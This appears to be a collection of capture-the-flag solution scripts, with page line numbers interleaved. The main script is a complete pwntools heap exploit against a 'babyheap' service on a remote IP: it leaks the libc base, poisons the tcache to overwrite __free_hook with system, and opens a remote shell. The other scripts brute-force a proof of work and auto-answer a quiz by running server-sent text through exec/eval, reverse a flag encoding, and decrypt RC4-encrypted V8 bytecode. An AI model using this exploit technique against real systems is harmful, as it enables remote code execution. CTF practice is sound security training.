1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

p_sl      = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) 
p_s       = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)   
libc_symp = lambda x : p64(libc.symbols[x])

NUL = b'\x00'

########################################################################

libc = ELF("./libc-2.27.so")

p = remote("47.98.229.103", 1337)
# ~ p = process("./babyheap")

def add(sz, ctx):
    p_sl(1, ">>> ")
    p_sl(sz, "now the size: ")
    p_s(ctx, "next the content: ")
    
def show(idx):
    p_sl(2, ">>> ")
    p_sl(idx, "house index: ")
    
def delete(idx):
    p_sl(4, ">>> ")
    p_sl(idx, "house index: ")

def edit(idx, ctx):
    p_sl(3, ">>> ")
    p_sl(idx, "house index: ")
    p_s(ctx, ": ")

for i in range(8):
    add(0x1ff, str(i)*0x1ff)
for i in range(1, 8):
    delete(i)

delete(0x74737572+0)

show(0)
libc.address = u64(p.recv(8).ljust(8, b'\x00')) - 0x3ebca0
info("libcbase: 0x%lx", libc.address)

add(0x40, 'a'*0x40) #1
add(0x40, 'b'*0x40) #2

delete(1)
delete(0x74737572+2)

edit(2, libc_symp("__free_hook").ljust(0x40, NUL))
add(0x40, b'/bin/sh\x00'.ljust(0x40, NUL)) #1
add(0x40, libc_symp('system').ljust(0x40, NUL)) #2

delete(1)

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
# 完整脚本
from pwn import *
import hashlib
import itertools
#from string import digits, ascii_letters, punctuation
import binascii
        
        
def extract_nested_brackets(text):
    stack = []  # 用于存放匹配到的内容的栈
    result = []  # 用于存放最终匹配结果的列表
    for i,char in enumerate(text):
        if char == '[':
            stack.append(('[',i))  # 遇到左方括号，将其压入栈中
        elif char == ']':
            # 遇到右方括号，从栈中依次弹出字符，直到遇到匹配的左方括号
            result.append(text[stack.pop()[-1]+1:i].replace(' ',''))
                
    return result
    
def getData(data):

    data = data.split(';')
    for code in data:
        code = code.strip('\n')
        dim = code.count('[')
        if 'int' in code:
            
            if dim == 0:
                code = code.replace('int ','')
                if '=' not in code:
                    code = f"{code}=None"
                exec(code)
                
            else:
                code = code.replace('int ','')
                var = code[:code.index('[')]
                matches = re.findall(r"\[[^\]]+\]", code)
                matches = matches[::-1]
                code_maked = var+'='
                tmp = 'None'
                for num in matches:
                    num = num[1:-1].replace(' ','')
                    if num.isdigit():
                        if int(num)<0: # 校验负数索引
                            return "oob"
                    else: #expr
                        num = str(eval(num))
                        if int(num)<0:
                            return "oob"
                        
                    tmp = f"[{tmp}]*{num}"
                code_maked = code_maked + tmp
                code = code_maked
                exec(code)

        else:
            if "Your answer" in code:
                continue
            
            if dim == 0:
                pass
            else:
                matches = extract_nested_brackets(code)
                # var = code[:code.index('[')]
                # matches = re.findall(r"\[[^\]]+\]", code)
                # matches = matches[::-1]
                # 变量索引检查
                for num in matches:
                    if num.isdigit():
                        if int(num)<0: # 校验负数索引
                            return "oob"
                        else:
                            continue
                    else: #表达式或变量
                        try:
                            num = str(eval(num))
                            if '.' in num: #小数全给safe
                                num = math.floor(float(num))
                                return "safe"
                            if int(num)<0: # 放try块里面防止除法出来小数
                                return "oob" 
                        except Exception as e:
                            print(f"PYTHON判断结果：{e}")
                            return "oob"
 

            
            try:
                exec(code)
            except Exception as e:
                print(f"PYTHON判断结果：{e}")
                return "oob"
            
    return "safe"
            
        

context(log_level='debug')
p = remote('47.98.209.191', 1337)

p.recvuntil(b'sha256(XXX + ')
tail = p.recvuntil(b')')[:-1]
print(tail)
tail = binascii.unhexlify(tail)
print(tail)
p.recvuntil(b' == ')
s = []
for i in range(256):
    s += chr(i).encode('Latin-1')
# print(s)
sha256 = p.recvuntil(b'\n')[:-1].decode()
print(sha256)
# for i in s:
#    print(i)
data = ''
for i in s:
    for b in s:
        for c in s:
            data = chr(i).encode('Latin-1') + chr(b).encode('Latin-1')+chr(c).encode('Latin-1')
            data_sha = hashlib.sha256((data+tail).decode('Latin-1').encode('Latin-1')).hexdigest()

            if data_sha == sha256:
                print(data.hex())
                p.sendline(data.hex())
                _ = p.recvuntil(b'Good luck!')
                data = p.recvuntil(b'Your answer (safe/oob/unknown):').decode()
                print(data.encode())
                
                p.sendline(getData(data).encode())
                
                for i in range(300):    
                    data = p.recvuntil(b'Your answer (safe/oob/unknown):').decode()
                    print(data.encode())
                    if 'Right' in data:
                        data = data[data.index('\n\n'):]
                        p.sendline(getData(data).encode())
                pass

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enc = bytes.fromhex('3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae')
enc = list(enc)
flag = [0] * len(enc)
key = 170
for i in range(19):
    flag[i] = (enc[i] - key - 51) & 0xff
    key = enc[i]

key = 85
for i in range(19, 43):
    flag[i] = (enc[i] - key) & 0xff
    key = enc[i] ^ key

print(bytes(flag))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import ARC4

rc4 = ARC4.new(b'CodeSerializer')
fn = open('new.jsc', 'wb')
with open('flagchecker.jsc', 'rb') as f:
    content = f.read()
    fn.write((int.from_bytes(content[:4], 'little')^0xDEAD0000^0xC0DE0000).to_bytes(4, 'little'))
    fn.write(content[4:28])
    fn.write((int.from_bytes(content[28:32], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
    fn.write((int.from_bytes(content[32:36], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
    fn.write((int.from_bytes(content[36:40], 'little')^0xDEADBEEF).to_bytes(4, 'little'))
    fn.write(content[40:0x40])
    content = content[0x40:]
    m = rc4.decrypt(content)
    fn.write(m)
    fn.close()

print('OK')